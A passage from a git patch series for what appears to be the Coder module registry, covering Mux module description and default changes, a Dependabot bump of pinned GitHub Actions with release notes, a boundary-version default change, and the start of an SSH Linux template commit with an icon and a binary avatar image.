from the network (requires mux to be pre-installed): +Run without installing from the network (requires Mux to be pre-installed): ```tf module "mux" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/mux/coder" - version = "1.0.7" + version = "1.0.8" agent_id = coder_agent.main.id install = false } @@ -101,6 +115,6 @@ module "mux" { ## Notes -- mux is currently in preview and you may encounter bugs +- Mux is currently in preview and you may encounter bugs - Requires internet connectivity for agent operations (unless `install` is set to false) - Installs `mux@next` from npm by default (falls back to the npm tarball if npm is unavailable) diff --git a/registry/coder/modules/mux/main.tf b/registry/coder/modules/mux/main.tf index 08c70aab..870beae2 100644 --- a/registry/coder/modules/mux/main.tf +++ b/registry/coder/modules/mux/main.tf @@ -17,43 +17,43 @@ variable "agent_id" { variable "port" { type = number - description = "The port to run mux on." + description = "The port to run Mux on." default = 4000 } variable "display_name" { type = string - description = "The display name for the mux application." - default = "mux" + description = "The display name for the Mux application." + default = "Mux" } variable "slug" { type = string - description = "The slug for the mux application." + description = "The slug for the Mux application." default = "mux" } variable "install_prefix" { type = string - description = "The prefix to install mux to." + description = "The prefix to install Mux to." default = "/tmp/mux" } variable "log_path" { type = string - description = "The path for mux logs." + description = "The path for Mux logs." default = "/tmp/mux.log" } variable "add-project" { type = string - description = "Path to add/open as a project in mux (idempotent)." - default = "" + description = "Optional path to add/open as a project in Mux on startup." + default = null } variable "install_version" { type = string - description = "The version or dist-tag of mux to install." + description = "The version or dist-tag of Mux to install." default = "next" } @@ -80,13 +80,13 @@ variable "group" { variable "install" { type = bool - description = "Install mux from the network (npm or tarball). If false, run without installing (requires a pre-installed mux)." + description = "Install Mux from the network (npm or tarball). If false, run without installing (requires a pre-installed Mux)." default = true } variable "use_cached" { type = bool - description = "Use cached copy of mux if present; otherwise install from npm" + description = "Use cached copy of Mux if present; otherwise install from npm" default = false } @@ -96,7 +96,7 @@ variable "subdomain" { Determines whether the app will be accessed via it's own subdomain or whether it will be accessed via a path on Coder. If wildcards have not been setup by the administrator then apps with "subdomain" set to true will not be accessible. EOT - default = false + default = true } variable "open_in" { @@ -115,13 +115,13 @@ variable "open_in" { resource "coder_script" "mux" { agent_id = var.agent_id - display_name = "mux" + display_name = var.display_name icon = "/icon/mux.svg" script = templatefile("${path.module}/run.sh", { VERSION : var.install_version, PORT : var.port, LOG_PATH : var.log_path, - ADD_PROJECT : var.add-project, + ADD_PROJECT : var.add-project == null ? "" : var.add-project, INSTALL_PREFIX : var.install_prefix, OFFLINE : !var.install, USE_CACHED : var.use_cached, From 6e0291cdb935fbee9343085c4662d5a6fb13ffa5 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 28 Jan 2026 22:16:41 +0000 Subject: [PATCH 09/33] chore(deps): bump the github-actions group with 5 updates (#673) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Bumps the github-actions group with 5 updates: | Package | From | To | | --- | --- | --- | | [actions/checkout](https://github.com/actions/checkout) | `6.0.0` | `6.0.2` | | [coder/coder](https://github.com/coder/coder) | `2.29.1` | `2.29.2` | | [crate-ci/typos](https://github.com/crate-ci/typos) | `1.42.0` | `1.42.1` | | [actions/setup-go](https://github.com/actions/setup-go) | `6.1.0` | `6.2.0` | | [zizmorcore/zizmor-action](https://github.com/zizmorcore/zizmor-action) | `0.3.0` | `0.4.1` | Updates `actions/checkout` from 6.0.0 to 6.0.2
Release notes

Sourced from actions/checkout's releases.

v6.0.2

What's Changed

Full Changelog: https://github.com/actions/checkout/compare/v6.0.1...v6.0.2

v6.0.1

What's Changed

Full Changelog: https://github.com/actions/checkout/compare/v6...v6.0.1

Changelog

Sourced from actions/checkout's changelog.

Changelog

v6.0.2

v6.0.1

v6.0.0

v5.0.1

v5.0.0

v4.3.1

v4.3.0

v4.2.2

v4.2.1

v4.2.0

v4.1.7

v4.1.6

... (truncated)

Commits
  • de0fac2 Fix tag handling: preserve annotations and explicit fetch-tags (#2356)
  • 064fe7f Add orchestration_id to git user-agent when ACTIONS_ORCHESTRATION_ID is set (...
  • 8e8c483 Clarify v6 README (#2328)
  • 033fa0d Add worktree support for persist-credentials includeIf (#2327)
  • c2d88d3 Update all references from v5 and v4 to v6 (#2314)
  • See full diff in compare view

Updates `coder/coder` from 2.29.1 to 2.29.2
Release notes

Sourced from coder/coder's releases.

v2.29.2

Changelog

[!NOTE] This is a mainline Coder release. We advise enterprise customers without a staging environment to install our latest stable release while we refine this version. Learn more about our Release Schedule.

Features

Bug fixes

  • Backport update boundary version to 2.29 (#21290) (#21575, 2314e4a94)
  • Backport migration fixes (#21611, b5360a918)

Chores

  • Add antigravity to allowed protocols list (#20873) (#21122, bd76c602e)

Compare: v2.29.1...v2.29.2

Container image

  • docker pull ghcr.io/coder/coder:v2.29.2

Install/upgrade

Refer to our docs to install or upgrade Coder, or use a release asset below.

Commits

Updates `crate-ci/typos` from 1.42.0 to 1.42.1
Release notes

Sourced from crate-ci/typos's releases.

v1.42.1

[1.42.1] - 2026-01-19

Fixes

  • Ignore hex literals with suffixes (e.g. 0xffffUL)
Changelog

Sourced from crate-ci/typos's changelog.

Change Log

All notable changes to this project will be documented in this file.

The format is based on Keep a Changelog and this project adheres to Semantic Versioning.

[Unreleased] - ReleaseDate

[1.42.1] - 2026-01-19

Fixes

  • Ignore hex literals with suffixes (e.g. 0xffffUL)

[1.42.0] - 2026-01-07

Features

  • Dictionary updates

[1.41.0] - 2025-12-31

Features

[1.40.1] - 2025-12-29

Fixes

  • Treat incrementer and incrementor the same for now

Fixes

  • Don't correct ITerm2

[1.40.0] - 2025-11-26

Features

[1.39.2] - 2025-11-13

Fixes

  • Don't offer entry as a correction for entrys

[1.39.1] - 2025-11-12

... (truncated)

Commits
  • 6512063 chore: Release
  • 2049566 docs: Update changelog
  • cbc66c9 Merge pull request #1471 from epage/hex
  • 2071579 fix(tokens): Ignore hex literals with suffixes
  • 7300bb0 perf(token): Avoid switching to chars
  • 01955c0 perf(token): Prefer slices over characters
  • 5d4cfab test(cli): Show hex literal issue
  • 3cee018 Merge pull request #1468 from Wilfred/patch-1
  • a96a636 Fix typo in ripsecrets link
  • 837ad27 Merge pull request #1467 from Wilfred/full_examples_in_reference
  • Additional commits viewable in compare view

Updates `actions/setup-go` from 6.1.0 to 6.2.0
Release notes

Sourced from actions/setup-go's releases.

v6.2.0

What's Changed

Enhancements

Dependency updates

New Contributors

Full Changelog: https://github.com/actions/setup-go/compare/v6...v6.2.0

Commits

Updates `zizmorcore/zizmor-action` from 0.3.0 to 0.4.1
Release notes

Sourced from zizmorcore/zizmor-action's releases.

v0.4.1

This version fixes an error in the 0.4.0 release that prevented non-relative use of the action.

What's Changed

Full Changelog: https://github.com/zizmorcore/zizmor-action/compare/v0.4.0...v0.4.1

v0.4.0

This new version of zizmor-action brings two major changes:

  • The new fail-on-no-inputs option can be used to control whether zizmor-action fails if no inputs were collected by zizmor. The default remains true, reflecting the pre-existing behavior.

  • The action's use of the official zizmor Docker images is now fully hash-checked internally, preventing accidental or malicious modification to the images. This also means that subsequent releases of zizmor will induce a release of this action, rather than the action always picking up the latest version by default.

What's Changed

New Contributors

Full Changelog: https://github.com/zizmorcore/zizmor-action/compare/v0.3.0...v0.4.0

Commits

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) ---
Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually - `@dependabot show ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself) - `@dependabot ignore minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself) - `@dependabot ignore ` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself) - `@dependabot unignore ` will remove all of the ignore conditions of the specified dependency - `@dependabot unignore ` will remove the ignore condition of the specified dependency and ignore conditions
Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: DevCats --- .github/workflows/check_registry_site_health.yaml | 2 +- .github/workflows/ci.yaml | 14 +++++++------- .github/workflows/deploy-registry.yaml | 2 +- .github/workflows/golangci-lint.yml | 4 ++-- .github/workflows/release.yml | 2 +- .github/workflows/version-bump.yaml | 4 ++-- .github/workflows/zizmor.yaml | 8 ++++---- 7 files changed, 18 insertions(+), 18 deletions(-) diff --git a/.github/workflows/check_registry_site_health.yaml b/.github/workflows/check_registry_site_health.yaml index 668237d1..6f4c131a 100644 --- a/.github/workflows/check_registry_site_health.yaml +++ b/.github/workflows/check_registry_site_health.yaml @@ -11,7 +11,7 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - name: Run check.sh run: | diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index f7892d55..c0204f9f 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -12,7 +12,7 @@ jobs: runs-on: ubuntu-latest steps: - name: Check out code - uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - name: Detect changed files uses: dorny/paths-filter@de90cc6fb38fc0963ad72b210f1f284cd68cea36 # v3 id: filter @@ -37,7 +37,7 @@ jobs: all: - '**' - name: Set up Terraform - uses: coder/coder/.github/actions/setup-tf@59cdd7e21f4d7da12567c0c29964d298fbf38f27 # v2.29.1 + uses: coder/coder/.github/actions/setup-tf@b5360a9180613328a62d64efcfaac5a31980c746 # v2.29.2 - name: Set up Bun uses: oven-sh/setup-bun@3d267786b128fe76c2f16a390aa2448b815359f3 # v2 with: @@ -80,20 +80,20 @@ jobs: runs-on: ubuntu-latest steps: - name: Check out code - uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - name: Install Bun uses: oven-sh/setup-bun@3d267786b128fe76c2f16a390aa2448b815359f3 # v2 with: bun-version: latest # Need Terraform for its formatter - name: Install Terraform - uses: coder/coder/.github/actions/setup-tf@59cdd7e21f4d7da12567c0c29964d298fbf38f27 # v2.29.1 + uses: coder/coder/.github/actions/setup-tf@b5360a9180613328a62d64efcfaac5a31980c746 # v2.29.2 - name: Install dependencies run: bun install - name: Validate formatting run: bun fmt:ci - name: Check for typos - uses: crate-ci/typos@bb4666ad77b539a6b4ce4eda7ebb6de553704021 # v1.42.0 + uses: crate-ci/typos@65120634e79d8374d1aa2f27e54baa0c364fff5a # v1.42.1 with: config: .github/typos.toml validate-readme-files: @@ -104,9 +104,9 @@ jobs: needs: validate-style steps: - name: Check out code - uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - name: Set up Go - uses: actions/setup-go@4dc6199c7b1a012772edbd06daecab0f50c9053c # v6 + uses: actions/setup-go@7a3fe6cf4cb3a834922a1244abfce67bcef6a0c5 # v6 with: go-version: "1.24.0" - name: Validate contributors diff --git a/.github/workflows/deploy-registry.yaml b/.github/workflows/deploy-registry.yaml index c3fed8ff..eb61353a 100644 --- a/.github/workflows/deploy-registry.yaml +++ b/.github/workflows/deploy-registry.yaml @@ -28,7 +28,7 @@ jobs: steps: - name: Checkout code - uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - name: Authenticate with Google Cloud uses: google-github-actions/auth@7c6bc770dae815cd3e89ee6cdf493a5fab2cc093 with: diff --git a/.github/workflows/golangci-lint.yml b/.github/workflows/golangci-lint.yml index 3bf75710..599ad548 100644 --- a/.github/workflows/golangci-lint.yml +++ b/.github/workflows/golangci-lint.yml @@ -14,8 +14,8 @@ jobs: name: lint runs-on: ubuntu-latest steps: - - uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0 - - uses: actions/setup-go@4dc6199c7b1a012772edbd06daecab0f50c9053c # v6 + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + - uses: actions/setup-go@7a3fe6cf4cb3a834922a1244abfce67bcef6a0c5 # v6 with: go-version: stable - name: golangci-lint diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 38d6306a..88feea8d 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -14,7 +14,7 @@ jobs: steps: - name: Checkout code - uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: fetch-depth: 0 persist-credentials: false diff --git a/.github/workflows/version-bump.yaml b/.github/workflows/version-bump.yaml index 23b45d1a..6637cacc 100644 --- a/.github/workflows/version-bump.yaml +++ b/.github/workflows/version-bump.yaml @@ -20,7 +20,7 @@ jobs: issues: write steps: - name: Checkout code - uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: fetch-depth: 0 token: ${{ secrets.GITHUB_TOKEN }} @@ -31,7 +31,7 @@ jobs: bun-version: latest - name: Set up Terraform - uses: coder/coder/.github/actions/setup-tf@59cdd7e21f4d7da12567c0c29964d298fbf38f27 # v2.29.1 + uses: coder/coder/.github/actions/setup-tf@b5360a9180613328a62d64efcfaac5a31980c746 # v2.29.2 - name: Install dependencies run: bun install diff --git a/.github/workflows/zizmor.yaml b/.github/workflows/zizmor.yaml index d759befa..8dc3a171 100644 --- a/.github/workflows/zizmor.yaml +++ b/.github/workflows/zizmor.yaml @@ -22,12 +22,12 @@ jobs: actions: read steps: - name: Checkout repository - uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false - name: Run zizmor (blocking, HIGH only) - uses: zizmorcore/zizmor-action@e639db99335bc9038abc0e066dfcd72e23d26fb4 # v0.3.0 + uses: zizmorcore/zizmor-action@135698455da5c3b3e55f73f4419e481ab68cdd95 # v0.4.1 with: advanced-security: false annotations: true @@ -44,12 +44,12 @@ jobs: actions: read steps: - name: Checkout repository - uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false - name: Run zizmor (SARIF) - uses: zizmorcore/zizmor-action@e639db99335bc9038abc0e066dfcd72e23d26fb4 # v0.3.0 + uses: zizmorcore/zizmor-action@135698455da5c3b3e55f73f4419e481ab68cdd95 # v0.4.1 with: inputs: | .github/workflows From b077dfafc87cff03541462c8b7d829c089609450 Mon Sep 17 00:00:00 2001 From: Yevhenii Shcherbina Date: Thu, 29 Jan 2026 09:34:38 -0500 Subject: [PATCH 10/33] chore: set default boundary version to latest (#680) --- registry/coder/modules/claude-code/main.tf | 4 ++-- registry/coder/modules/claude-code/scripts/start.sh | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/registry/coder/modules/claude-code/main.tf b/registry/coder/modules/claude-code/main.tf index 8c4bd08e..7e5343ac 100644 --- a/registry/coder/modules/claude-code/main.tf +++ b/registry/coder/modules/claude-code/main.tf @@ -224,8 +224,8 @@ variable "enable_boundary" { variable "boundary_version" { type = string - description = "Boundary version, valid git reference should be provided (tag, commit, branch)" - default = "main" + description = "Boundary version. When use_boundary_directly is true, a release version should be provided or 'latest' for the latest release. When compile_boundary_from_source is true, a valid git reference should be provided (tag, commit, branch)." + default = "latest" } variable "compile_boundary_from_source" { diff --git a/registry/coder/modules/claude-code/scripts/start.sh b/registry/coder/modules/claude-code/scripts/start.sh index f64c77c1..b20f3833 100644 --- a/registry/coder/modules/claude-code/scripts/start.sh +++ b/registry/coder/modules/claude-code/scripts/start.sh @@ -14,7 +14,7 @@ ARG_WORKDIR=${ARG_WORKDIR:-"$HOME"} ARG_AI_PROMPT=$(echo -n "${ARG_AI_PROMPT:-}" | base64 -d) ARG_REPORT_TASKS=${ARG_REPORT_TASKS:-true} ARG_ENABLE_BOUNDARY=${ARG_ENABLE_BOUNDARY:-false} -ARG_BOUNDARY_VERSION=${ARG_BOUNDARY_VERSION:-"main"} +ARG_BOUNDARY_VERSION=${ARG_BOUNDARY_VERSION:-"latest"} ARG_COMPILE_FROM_SOURCE=${ARG_COMPILE_FROM_SOURCE:-false} ARG_USE_BOUNDARY_DIRECTLY=${ARG_USE_BOUNDARY_DIRECTLY:-false} ARG_CODER_HOST=${ARG_CODER_HOST:-} From 3b6246f25650c296d2f9ce0daa53aa6030b9deac Mon Sep 17 00:00:00 2001 From: Tao Chen <42793494+IamTaoChen@users.noreply.github.com> Date: Fri, 30 Jan 2026 00:40:28 +0800 Subject: [PATCH 11/33] [Template] SSH Linux - Add support for deploying Coder on existing Linux systems (bare-metal installation) (#605) ## Description A draft that allow user connect existing linux system though coder by ssh ## Type of Change - [ ] New module - [x] New template - [ ] Bug fix - [ ] Feature/enhancement - [x] Documentation - [ ] Other ## Template Information **Path:** `registry/IamTaoChen/templates/ssh-linux` ## Testing & Validation - [ ] Tests pass (`bun test`) - [x] Code formatted (`bun fmt`) - [x] Changes tested locally ## Related Issues --------- Co-authored-by: DevCats --- .icons/linux.svg | 438 ++++++++++++++++++ registry/IamTaoChen/.images/avatar.png | Bin 0 -> 55432 bytes registry/IamTaoChen/README.md | 16 + .../IamTaoChen/templates/ssh-linux/README.md | 58 +++ .../IamTaoChen/templates/ssh-linux/main.tf | 319 +++++++++++++ 5 files changed, 831 insertions(+) create mode 100644 .icons/linux.svg create mode 100644 registry/IamTaoChen/.images/avatar.png create mode 100644 registry/IamTaoChen/README.md create mode 100644 registry/IamTaoChen/templates/ssh-linux/README.md create mode 100644 registry/IamTaoChen/templates/ssh-linux/main.tf diff --git a/.icons/linux.svg b/.icons/linux.svg new file mode 100644 index 00000000..6b558e7b --- /dev/null +++ b/.icons/linux.svg @@ -0,0 +1,438 @@ + + + Tux + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/registry/IamTaoChen/.images/avatar.png b/registry/IamTaoChen/.images/avatar.png new file mode 100644 index 0000000000000000000000000000000000000000..f14100c4a7e280c29ea6416127e94e611046d678 GIT binary patch literal 55432 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 